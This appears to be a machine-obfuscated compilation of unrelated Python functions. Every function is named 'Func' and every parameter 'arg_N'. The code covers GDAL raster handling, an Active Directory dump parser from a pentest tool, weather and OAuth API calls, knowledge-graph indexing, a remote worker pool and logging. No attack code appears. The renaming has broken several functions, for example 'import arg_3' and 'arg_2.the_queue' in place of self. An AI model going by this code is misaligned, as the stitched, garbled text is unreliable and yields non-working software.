        arg_0[arg_2.ShortName] = arg_2.GetMetadata()
    return arg_0


def Func(arg_0, arg_1=None):
    """Returns the gdal.Driver for a path or None based on the file extension.

    Arguments:
    path -- file path as str with a GDAL supported file extension
    """
    arg_2 = (os.path.splitext(arg_0)[1][1:] or arg_0).lower()
    arg_1 = arg_1 or ImageDriver.registry if arg_2 else {}
    for arg_3, arg_4 in arg_1.items():
        if arg_2 == arg_4.get('DMD_EXTENSION', '').lower():
            return ImageDriver(arg_3)
    return None


def Func(arg_0, arg_1, arg_2):
    """Converts an OGR polygon to a 2D NumPy array.

    Arguments:
    geom -- OGR Geometry
    size -- array size in pixels as a tuple of (width, height)
    affine -- AffineTransform
    """
    arg_3 = ImageDriver('MEM')
    arg_4 = arg_3.raster(arg_3.ShortName, arg_1)
    arg_4.affine = arg_2
    arg_4.sref = arg_0.GetSpatialReference()
    with MemoryLayer.from_records([(1, arg_0)]) as ml:
        arg_6 = gdal.RasterizeLayer(arg_4.ds, (1,), ml.layer, burn_values=(1,))
    arg_7 = arg_4.array()
    arg_4.close()
    return arg_7


def Func(arg_0, arg_1=arg_2.GA_ReadOnly):
    """Returns a Raster instance.

    Arguments:
    path -- local or remote path as str or file-like object
    Keyword args:
    mode -- gdal constant representing access mode
    """
    arg_0 = getattr(arg_0, 'name', arg_0)
    try:
        return Raster(vsiprefix(arg_0), arg_1)
    except AttributeError:
        try:
            arg_4 = arg_0.read()
        except AttributeError:
            raise TypeError('Not a file-like object providing read()')
        else:
            arg_5 = MemFileIO(delete=False)
            gdal.FileFromMemBuffer(arg_5.name, arg_4)
            return Raster(arg_5, arg_1)
    raise ValueError('Failed to Func raster from "%r"' % arg_0)


def Func(arg_0, arg_1, arg_2=arg_3.GDT_Byte):
    """Returns an in-memory raster initialized from a pixel buffer.

    Arguments:
    data -- byte buffer of raw pixel data
    size -- two or three-tuple of (xsize, ysize, bandcount)
    bandtype -- band data type
    """
    arg_5 = ImageDriver('MEM').raster('', arg_1, arg_2)
    arg_5.Func(arg_0)
    return arg_5


def Func(arg_0, arg_1, arg_2):
        """Returns a copied Raster instance.

        Arguments:
        source -- the source Raster instance or filepath as str
        dest -- destination filepath as str
        """
        if not arg_0.Funcable:
            raise IOError('Driver does not support raster Funcing')
        if not isinstance(arg_1, Raster):
            arg_1 = Raster(arg_1)
            arg_3 = True
        else:
            arg_3 = False
        if arg_1.name == arg_2:
            raise ValueError(
                'Input and output are the same location: %s' % arg_1.name)
        arg_4 = driverdict_tolist(arg_0.settings)
        arg_5 = arg_0.CreateCopy(arg_2, arg_1.ds, arg_0.strictmode,
                             options=arg_4)
        if arg_3:
            arg_1.close()
        return Raster(arg_5)


def Func(arg_0):
        """Returns a dict of driver specific raster creation Func.

        See GDAL format docs at http://www.gdal.org/formats_list.html
        """
        if arg_0._Func is None:
            try:
                arg_1 = ET.fromstring(
                    arg_0.info.get('DMD_CREATIONOPTIONLIST', ''))
            except ET.ParseError:
                arg_1 = []
            arg_2 = {}
            for arg_3 in arg_1:
                arg_4 = [val.text for val in arg_3]
                if arg_4:
                    arg_3.attrib.update(arg_4=arg_4)
                arg_2[arg_3.attrib.pop('name')] = arg_3.attrib
            arg_0._Func = arg_2
        return arg_0._Func


def Func(arg_0, arg_1, arg_2, arg_3=arg_4.GDT_Byte):
        """Returns a new Raster instance.

        gdal.Driver.Create() does not support all formats.

        Arguments:
        path -- file object or path as str
        size -- two or three-tuple of (xsize, ysize, bandcount)
        bandtype -- GDAL pixel data type
        """
        arg_1 = getattr(arg_1, 'name', arg_1)
        try:
            arg_6 = len(arg_2) > 2
            arg_7, arg_8, arg_9 = arg_2 if arg_6 else arg_2 + (1,)
        except (TypeError, ValueError) as arg_10:
            arg_10.args = ('Size must be 2 or 3-item sequence',)
            raise
        if arg_7 < 1 or arg_8 < 1:
            raise ValueError('Invalid Func size %s' % (arg_2,))
        # Do not write to a non-empty file.
        if not arg_0._is_empty(arg_1):
            raise IOError('%s already exists, open with Raster()' % arg_1)
        arg_12 = arg_0.Create(arg_1, arg_7, arg_8, arg_9, arg_3)
        if not arg_12:
            raise ValueError(
                'Could not create %s using %s' % (arg_1, str(arg_0)))
        return Raster(arg_12)


def Func(arg_0, arg_1):
        """Sets the affine transformation.

        Intercepts the gdal.Dataset call to ensure use as a property setter.

        Arguments:
        affine -- AffineTransform or six-tuple of geotransformation values
        """
        if isinstance(arg_1, collections.Sequence):
            arg_1 = AffineTransform(*arg_1)
        arg_0._affine = arg_1
        arg_0.ds.Func(arg_1)


def Func(arg_0, arg_1=()):
        """Returns an NDArray, optionally subset by spatial envelope.

        Keyword args:
        envelope -- coordinate extent tuple or Envelope
        """
        arg_2 = ()
        if arg_1:
            arg_2 = arg_0.get_offset(arg_1)
        return arg_0.ds.ReadAsArray(*arg_2)


def Func(arg_0):
        """Returns the underlying ImageDriver instance."""
        if arg_0._Func is None:
            arg_0._Func = ImageDriver(arg_0.ds.GetDriver())
        return arg_0._Func


def Func(arg_0, arg_1=None):
        """Returns a MaskedArray using nodata values.

        Keyword args:
        geometry -- any geometry, envelope, or coordinate extent tuple
        """
        if arg_1 is None:
            return arg_0._Func()
        arg_2 = transform(arg_1, arg_0.sref)
        arg_3 = Envelope.from_geom(arg_2).intersect(arg_0.envelope)
        arg_4 = arg_0._Func(arg_3)
        if arg_2.GetGeometryType() != ogr.wkbPoint:
            arg_5 = arg_0.get_offset(arg_3)[2:]
            arg_6 = AffineTransform(*tuple(arg_0.affine))
            arg_6.origin = arg_3.ul
            arg_8 = ~np.ma.make_mask(geom_to_array(arg_2, arg_5, arg_6))
            arg_4.mask = arg_4.mask | arg_8
        return arg_4


def Func(arg_0, *arg_1, **arg_2):
        """Returns raster data bytes for partial or full extent.

        Overrides gdal.Dataset.Func() with the full raster size by
        default.
        """
        arg_1 = arg_1 or (0, 0, arg_0.ds.RasterXSize, arg_0.ds.RasterYSize)
        return arg_0.ds.Func(*arg_1, **arg_2)


def Func(arg_0, arg_1, arg_2=arg_3.GRA_NearestNeighbour):
        """Returns a new instance Funcd to provided size.

        Arguments:
        size -- tuple of x,y image dimensions
        """
        # Find the scaling factor for pixel size.
        arg_5 = (arg_1[0] / float(arg_0.RasterXSize),
                   arg_1[1] / float(arg_0.RasterYSize))
        arg_6 = AffineTransform(*tuple(arg_0.affine))
        arg_6.scale = (arg_6.scale[0] / arg_5[0],
                        arg_6.scale[1] / arg_5[1])
        arg_8 = arg_0.new(arg_1, arg_6)
        # Uses self and dest projection when set to None
        gdal.ReprojectImage(arg_0.ds, arg_8.ds, None, None, arg_2)
        return arg_8


def Func(arg_0, arg_1, arg_2=None):
        """Save this instance to the path and format provided.

        Arguments:
        to -- output path as str, file, or MemFileIO instance
        Keyword args:
        driver -- GDAL driver name as string or ImageDriver
        """
        arg_3 = getattr(arg_1, 'name', arg_1)
        if not arg_2 and hasattr(arg_3, 'encode'):
            arg_2 = driver_for_path(arg_3, arg_0.driver.filter_copyable())
        elif hasattr(arg_2, 'encode'):
            arg_2 = ImageDriver(arg_2)
        if arg_2 is None or not arg_2.copyable:
            raise ValueError('Copy supporting driver not found for %s' % arg_3)
        arg_2.copy(arg_0, arg_3).close()


def Func(arg_0, arg_1):
        """Sets the spatial reference.

        Intercepts the gdal.Dataset call to ensure use as a property setter.

        Arguments:
        sref -- SpatialReference or any format supported by the constructor
        """
        if not hasattr(arg_1, 'ExportToWkt'):
            arg_1 = SpatialReference(arg_1)
        arg_0._sref = arg_1
        arg_0.ds.Func(arg_1.ExportToWkt())


def Func(arg_0, arg_1, arg_2=None, arg_3=arg_4.GRA_NearestNeighbour):
        """Returns a new reprojected instance.

        Arguments:
        to_sref -- spatial reference as a proj4 or wkt string, or a
        SpatialReference
        Keyword args:
        dest -- filepath as str
        interpolation -- GDAL interpolation type
        """
        if not hasattr(arg_1, 'ExportToWkt'):
            arg_1 = SpatialReference(arg_1)
        arg_6 = arg_1.ExportToWkt()
        arg_7 = arg_0[0].DataType
        arg_8 = 0.125
        # Determine new values for destination raster dimensions and
        # geotransform.
        arg_9 = gdal.AutoCreateWarpedVRT(arg_0.ds, None, arg_6,
                                       arg_3, arg_8)
        if arg_9 is None:
            raise ValueError('Could not Func %s to %s' % (arg_0, arg_6))
        arg_10 = (arg_9.RasterXSize, arg_9.RasterYSize, len(arg_0))
        arg_11 = arg_9.GetGeoTransform()
        arg_9 = None
        if arg_2 is None:
            arg_12 = MemFileIO()
            arg_13 = arg_0.driver.raster(arg_12, arg_10, arg_7)
            arg_12.close()
        else:
            arg_13 = arg_0.driver.raster(arg_2, arg_10, arg_7)
        arg_13.SetGeoTransform(arg_11)
        arg_13.SetProjection(arg_1)
        if arg_0.nodata is not None:
            for arg_14 in arg_13:
                arg_14.SetNoDataValue(arg_0.nodata)
                arg_14 = None
        # Uses self and rFunc projection when set to None
        gdal.ReprojectImage(arg_0.ds, arg_13.ds, None, None, arg_3)
        return arg_13


def Func(arg_0):
    '''
    retrieves a named charset or treats the input as a custom alphabet and use that
    '''
    if arg_0 in PRESETS:
        return PRESETS[arg_0]
    if len(arg_0) < 16:
        _logger.warning('very small alphabet in use, possibly a failed lookup?')
    return arg_0


def Func(arg_0, arg_1, arg_2):
        '''
        gets a chunk from the input data, converts it to a number and
        encodes that number
        '''
        arg_3 = arg_0._get_chunk(arg_1, arg_2)
        return arg_0._encode_long(arg_0._chunk_to_long(arg_3))


def Func(arg_0, arg_1, arg_2):
        '''
        partition the data into chunks and retrieve the chunk at the given index
        '''
        return arg_1[arg_2*arg_0.chunklen[0]:(arg_2+1)*arg_0.chunklen[0]]


def Func():
    """
        Initializes the indices
    """
    Host.init()
    Range.init()
    Service.init()
    User.init()
    Credential.init()
    Log.init()


def Func(arg_0):
    """Cache result of function call."""
    arg_1 = {}

    @wraps(arg_0)
    def inner(arg_2):
        if arg_2 not in arg_1:
            arg_1[arg_2] = arg_0(arg_2)
        return arg_1[arg_2]
    return inner


def Func(arg_0):
    """
        Parse the entry into a computer object.
    """
    arg_1 = Computer(dns_hostname=get_field(arg_0, 'dNSHostName'), description=get_field(
        arg_0, 'description'), os=get_field(arg_0, 'operatingSystem'), group_id=get_field(arg_0, 'primaryGroupID'))
    try:
        arg_2 = str(ipaddress.ip_address(get_field(arg_0, 'IPv4')))
    except ValueError:
        arg_2 = ''

    if arg_2:
        arg_1.ip = arg_2
    elif arg_1.dns_hostname:
        arg_1.ip = resolve_ip(arg_1.dns_hostname)
    return arg_1


def Func(arg_0):
    """
        Parse the file and extract the computers, import the computers that resolve into jackal.
    """
    with open(arg_0) as f:
        arg_1 = json.loads(f.read())
    arg_2 = HostSearch()
    arg_3 = 0
    arg_4 = 0
    print_notification("Parsing {} entries".format(len(arg_1)))
    for arg_5 in arg_1:
        arg_4 += 1
        arg_6 = parse_single_computer(arg_5)
        if arg_6.ip:
            try:
                arg_7 = arg_2.id_to_object(arg_6.ip)
                arg_7.description.append(arg_6.description)
                arg_7.hostname.append(arg_6.dns_hostname)
                if arg_6.os:
                    arg_7.os = arg_6.os
                arg_7.domain_controller = arg_6.dc
                arg_7.add_tag('domaindump')
                arg_7.save()
                arg_3 += 1
            except ValueError:
                pass
        sys.stdout.write('\r')
        sys.stdout.write(
            "[{}/{}] {} resolved".format(arg_4, len(arg_1), arg_3))
        sys.stdout.flush()
    sys.stdout.write('\r')
    return arg_3


def Func(arg_0, arg_1):
    """
        Parses a single entry from the domaindump
    """
    arg_2 = {}
    arg_3 = get_field(arg_0, 'distinguishedName')
    arg_2['domain'] = ".".join(arg_3.split(',DC=')[1:])
    arg_2['name'] = get_field(arg_0, 'name')
    arg_2['username'] = get_field(arg_0, 'sAMAccountName')
    arg_2['description'] = get_field(arg_0, 'description')
    arg_2['sid'] = get_field(arg_0, 'objectSid').split('-')[-1]

    arg_4 = get_field(arg_0, 'primaryGroupID')
    arg_5 = arg_0['attributes'].get('memberOf', [])
    arg_6 = []
    for arg_7 in arg_5:
        for arg_8 in arg_7.split(','):
            if arg_8.startswith('CN='):
                arg_6.append(arg_8[3:])
    arg_6.append(arg_1.get(arg_4, ''))
    arg_2['groups'] = arg_6

    arg_9 = []
    try:
        arg_10 = int(get_field(arg_0, 'userAccountControl'))

        for arg_11, arg_12 in uac_flags.items():
            if arg_10 & arg_12:
                arg_9.append(arg_11)
    except ValueError:
        pass
    arg_2['flags'] = arg_9
    return arg_2


def Func(arg_0, arg_1=None, arg_2=False, arg_3=True, arg_4=5):
    """Make an Func API request

    This can be used to find cities and/or hurricanes by name

    :param string query: city
    :param string country: restrict search to a specific country. Must be a two letter country code
    :param boolean hurricanes: whether to search for hurricanes or not
    :param boolean cities: whether to search for cities or not
    :param integer timeout: timeout of the api request
    :returns: result of the Func API request
    :rtype: dict

    """
    arg_5 = {}
    arg_5['query'] = quote(arg_0)
    arg_5['country'] = arg_1 or ''
    arg_5['hurricanes'] = 1 if arg_2 else 0
    arg_5['cities'] = 1 if arg_3 else 0
    arg_5['format'] = 'JSON'
    arg_6 = requests.get(AUTOCOMPLETE_URL.format(**arg_5), arg_4=arg_4)
    arg_7 = json.loads(arg_6.content)['RESULTS']
    return arg_7


def Func(arg_0, arg_1, arg_2, arg_3=5):
    """Make an API Func

    :param string key: API key to use
    :param list features: features to Func. It must be a subset of :data:`FEATURES`
    :param string query: query to send
    :param integer timeout: timeout of the Func
    :returns: result of the API Func
    :rtype: dict

    """
    arg_4 = {}
    arg_4['key'] = arg_0
    arg_4['features'] = '/'.join([f for f in arg_1 if f in FEATURES])
    arg_4['query'] = quote(arg_2)
    arg_4['format'] = 'json'
    arg_5 = Funcs.get(API_URL.format(**arg_4), arg_3=arg_3)
    arg_6 = json.loads(_unicode(arg_5.content))
    return arg_6


def Func(arg_0):
    """Try to convert a string to unicode using different encodings"""
    for arg_1 in ['utf-8', 'latin1']:
        try:
            arg_2 = unicode(arg_0, arg_1)
            return arg_2
        except UnicodeDecodeError:
            pass
    arg_2 = unicode(arg_0, 'utf-8', 'replace')
    return arg_2


def Func(arg_0,
                      arg_1, arg_2, arg_3, arg_4 = None):
    '''Handle HTTP GET requests on an authentication endpoint.

    Authentication flow begins when ``params`` has a ``login`` key with a value
    of ``start``. For instance, ``/auth/twitter?login=start``.

    :param str provider: An provider to obtain a user ID from.
    :param str request_url: The authentication endpoint/callback.
    :param dict params: GET parameters from the query string.
    :param str token_secret: An app secret to encode/decode JSON web tokens.
    :param str token_cookie: The current JSON web token, if available.
    :return: A dict containing any of the following possible keys:

        ``status``: an HTTP status code the server should sent

        ``redirect``: where the client should be directed to continue the flow

        ``set_token_cookie``: contains a JSON web token and should be stored by
        the client and passed in the next call.

        ``provider_user_id``: the user ID from the login provider

        ``provider_user_name``: the user name from the login provider
    '''

    if not validate_provider(arg_0):
        raise InvalidUsage('Provider not supported')

    arg_5    = getattr(socialauth.providers, arg_0.capitalize())
    arg_0 = arg_5(arg_1, arg_2, arg_3, arg_4)
    if arg_0.status == 302:
        arg_6 = dict(status = 302, redirect = arg_0.redirect)
        arg_7  = getattr(arg_0, 'set_token_cookie', None)
        if arg_7 is not None:
            arg_6['set_token_cookie'] = arg_7

        return arg_6

    if arg_0.status == 200 and arg_0.user_id is not None:
        arg_6 = dict(status = 200, provider_user_id = arg_0.user_id)
        if arg_0.user_name is not None:
            arg_6['provider_user_name'] = arg_0.user_name

        return arg_6

    raise InvalidUsage('Invalid request')


def Func(arg_0):
        """ Method to call to get a serializable object for json.dump or jsonify based on the target

        :return: dict
        """
        if arg_0.subreference is not None:
            return {
                "source": arg_0.objectId,
                "selector": {
                    "type": "FragmentSelector",
                    "conformsTo": "http://ontology-dts.org/terms/subreference",
                    "value": arg_0.subreference
                }
            }
        else:
            return {"source": arg_0.objectId}


def Func(arg_0):
    """index all triples into indexes and return their mappings"""
    arg_1 = bidict()
    arg_2 = bidict()
    arg_3 = 0
    arg_4 = 0

    arg_5 = []
    for arg_6 in arg_0:
        for arg_7 in (arg_6.head, arg_6.tail):
            if arg_7 not in arg_1:
                arg_1[arg_7] = arg_3
                arg_3 += 1
        if arg_6.relation not in arg_2:
            arg_2[arg_6.relation] = arg_4
            arg_4 += 1
        arg_5.append(kgedata.TripleIndex(arg_1[arg_6.head], arg_2[arg_6.relation], arg_1[arg_6.tail]))

    return arg_5, arg_1, arg_2


def Func(arg_0):
    """Transform triple index into a 1-D numpy array."""
    return np.array([arg_0.head, arg_0.relation, arg_0.tail], dtype=np.int64)


def Func(arg_0):
    """Packs a list of triple indexes into a 2D numpy array."""
    if len(arg_0) == 0:
        return np.array([], dtype=np.int64)
    return np.stack(list(map(_transform_triple_numpy, arg_0)), axis=0)


def Func(arg_0, arg_1):
        """Uses a union find to find segment."""

        arg_2 = arg_0.UnionFind(arg_0._ent_id)
        arg_3 = arg_0.UnionFind(arg_0._rel_id)

        for arg_4 in arg_1:
            arg_2.add(arg_4.head)
            arg_2.add(arg_4.tail)
            arg_3.add(arg_4.relation)

        for arg_5, arg_4 in enumerate(arg_1):
            arg_6 = arg_2.find(arg_4.head)
            arg_7 = arg_3.find(arg_4.relation)
            arg_4 = arg_2.find(arg_4.tail)
            arg_1[arg_5] = kgedata.TripleIndex(arg_6, arg_7, arg_4)

        arg_8 = bidict()
        arg_9 = 0
        for arg_10, arg_11 in enumerate(arg_2.roots()):
            if not arg_11:
                arg_0._ents.inverse.pop(arg_10)
            else:
                arg_8[arg_0._ents.inverse[arg_10]] = arg_9
            arg_9 += 1
        arg_14 = bidict()
        arg_15 = 0
        for arg_10, arg_16 in enumerate(arg_3.roots()):
            if not arg_16:
                arg_0._rels.inverse.pop(arg_10)
            else:
                arg_14[arg_0._rels.inverse[arg_10]] = arg_15
            arg_15 += 1
        arg_0._ents = arg_8
        arg_0._rels = arg_14
        arg_0._ent_id = arg_9
        arg_0._rel_id = arg_15


def Func(arg_0):
        """
        Returns the model properties as a dict
        """
        arg_1 = {}

        for arg_2, arg_3 in iteritems(arg_0.swagger_types):
            arg_4 = getattr(arg_0, arg_2)
            if isinstance(arg_4, list):
                arg_1[arg_2] = list(map(
                    lambda x: x.Func() if hasattr(x, "Func") else x,
                    arg_4
                ))
            elif hasattr(arg_4, "Func"):
                arg_1[arg_2] = arg_4.Func()
            else:
                arg_1[arg_2] = arg_4

        return arg_1


def Func(arg_0):
        """Create a usable data structure for serializing."""
        arg_1 = super(IndexBuilder, arg_0).Func()
        try:
            # Sphinx >= 1.5 format
            # Due to changes from github.com/sphinx-doc/sphinx/pull/2454
            arg_2 = arg_1['docnames']
        except KeyError:
            # Sphinx < 1.5 format
            arg_2 = arg_1['filenames']

        arg_3 = {}
        arg_4 = itertools.count()
        for arg_5, arg_6 in iteritems(arg_1['objects']):
            for arg_7, (arg_8, arg_9, arg_10, arg_11) in iteritems(arg_6):
                arg_12 = arg_1['objtypes'][arg_9]
                if arg_12.startswith('cpp:'):
                    arg_13 =  arg_7.rsplit('::', 1)
                    if len(arg_13) != 2:
                        warnings.warn("What's up with %s?" % str((arg_5, arg_7, arg_12)))
                        continue
                    arg_5, arg_7 = arg_13
                    arg_14 = arg_5.split('::')[-1]
                else:
                    arg_14 = arg_5.split('.')[-1]

                arg_3[arg_15(arg_4)] = {
                    'filename': arg_2[arg_8],
                    'objtype': arg_12,
                    'prefix': arg_5,
                    'last_prefix': arg_14,
                    'name': arg_7,
                    'shortanchor': arg_11,
                }

        arg_1.update({'store': arg_3})
        return arg_1


def Func():
    ''' Catch exceptions with a prompt for post-mortem analyzis'''
    def debug_exception(arg_0, arg_1, arg_2):
        import pdb
        pdb.post_mortem(arg_2)

    import arg_3
    arg_3.excepthook = debug_exception


def Func(arg_0, arg_1=True):
    ''' Clearer data printing '''
    if isinstance(arg_0, dict):
        if arg_1:
            arg_2 = os.linesep.join(
                ["%25s: %s" % (k, arg_0[k]) for k in sorted(arg_0.keys())])
        else:
            arg_2 = json.dumps(arg_0, indent=4, sort_keys=True)
    else:
        return arg_0
    return arg_2


async def Func(arg_0, arg_1, arg_2, *, arg_3):
    """
    Connects to the remote master and continuously receives calls, executes
    them, then returns a response until interrupted.
    """

    try:

        try:
            arg_4, arg_5 = await asyncio.open_connection(arg_1, arg_2, arg_3=arg_3)
        except OSError:
            logging.error("worker could not connect to server")
            return

        while True:

            try:
                arg_6 = await arg_4.readuntil(b"\n")
            except (asyncio.IncompleteReadError, ConnectionResetError):
                break
            logging.debug("worker got call")
            arg_7 = arg_6.decode("utf-8")
            arg_8 = json.loads(arg_7)

            arg_9 = arg_0(arg_8)

            arg_10 = json.dumps(arg_9) + "\n"
            arg_11 = arg_10.encode("utf-8")
            arg_5.write(arg_11)
            logging.debug("worker returned response")

    except KeyboardInterrupt:

        pass


def Func(arg_0, arg_1="localhost", arg_2=48484,
                      *, arg_3=None):
    """
    Runs a pool of workers which connect to a remote HighFive master and begin
    executing calls.
    """

    if arg_3 is None:
        arg_3 = multiprocessing.cpu_count()

    arg_4 = []
    for arg_5 in range(arg_3):
        arg_6 = multiprocessing.Process(target=worker_main,
                args=(arg_0, arg_1, arg_2))
        arg_6.start()
        arg_4.append(arg_6)

    logger.debug("workers started")

    for arg_6 in arg_4:
        arg_6.join()

    logger.debug("all workers completed")


def Func(arg_0, arg_1, arg_2=None):
    """Logs an operation done on an entity, possibly with other arguments
    """
    if isinstance(arg_0, (list, tuple)):
        arg_0 = list(arg_0)
    else:
        arg_0 = [arg_0]

    arg_3 = {'name': arg_1, 'on': arg_0}
    if arg_2:
        arg_3['params'] = arg_2
    _log(TYPE_CODES.OPERATION, arg_3)


def Func(arg_0, arg_1):
    """Logs a new state of an entity
    """
    arg_2 = {'on': arg_0, 'state': arg_1}
    _log(TYPE_CODES.STATE, arg_2)


def Func(arg_0, arg_1):
    """Logs an update done on an entity
    """
    arg_2 = {'on': arg_0, 'update': arg_1}
    _log(TYPE_CODES.UPDATE, arg_2)


def Func(arg_0, arg_1):
    """Logs an error
    """
    arg_2 = {'error': arg_0, 'result':arg_1}
    _log(TYPE_CODES.ERROR, arg_2)


def Func(arg_0, arg_1):
        """Add message to queue and start processing the queue."""
        arg_2.the_queue.put_nowait(arg_1)
        if arg_2.thread is None or not arg_2.thread.isAlive():
            arg_2.thread = Thread(target=arg_0._send_queue)
            arg_2.thread.start()


def Func(arg_0, arg_1, arg_2):
        """Create the message to turn light on."""
        arg_3 = "!%sFdP32|Turn On|%s" % (arg_1, arg_2)
        arg_0._send_message(arg_3)


def Func(arg_0, arg_1, arg_2):
        """Create the message to turn switch on."""
        arg_3 = "!%sF1|Turn On|%s" % (arg_1, arg_2)
        arg_0._send_message(arg_3)